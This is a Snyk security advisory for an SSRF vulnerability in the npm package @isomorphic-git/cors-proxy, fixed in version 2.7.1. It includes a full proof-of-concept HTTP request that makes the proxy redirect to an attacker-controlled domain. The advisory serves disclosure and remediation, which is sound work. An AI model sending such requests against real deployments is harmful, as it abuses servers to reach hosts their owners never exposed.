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- Snyk ID SNYK-JS-ISOMORPHICGITCORSPROXY-1734788
- published 20 Jan 2022
- disclosed 15 Oct 2021
- credit Jasmin Landry
How to fix?
@isomorphic-git/cors-proxy to version 2.7.1 or higher.
@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in
GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1 Host: target.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close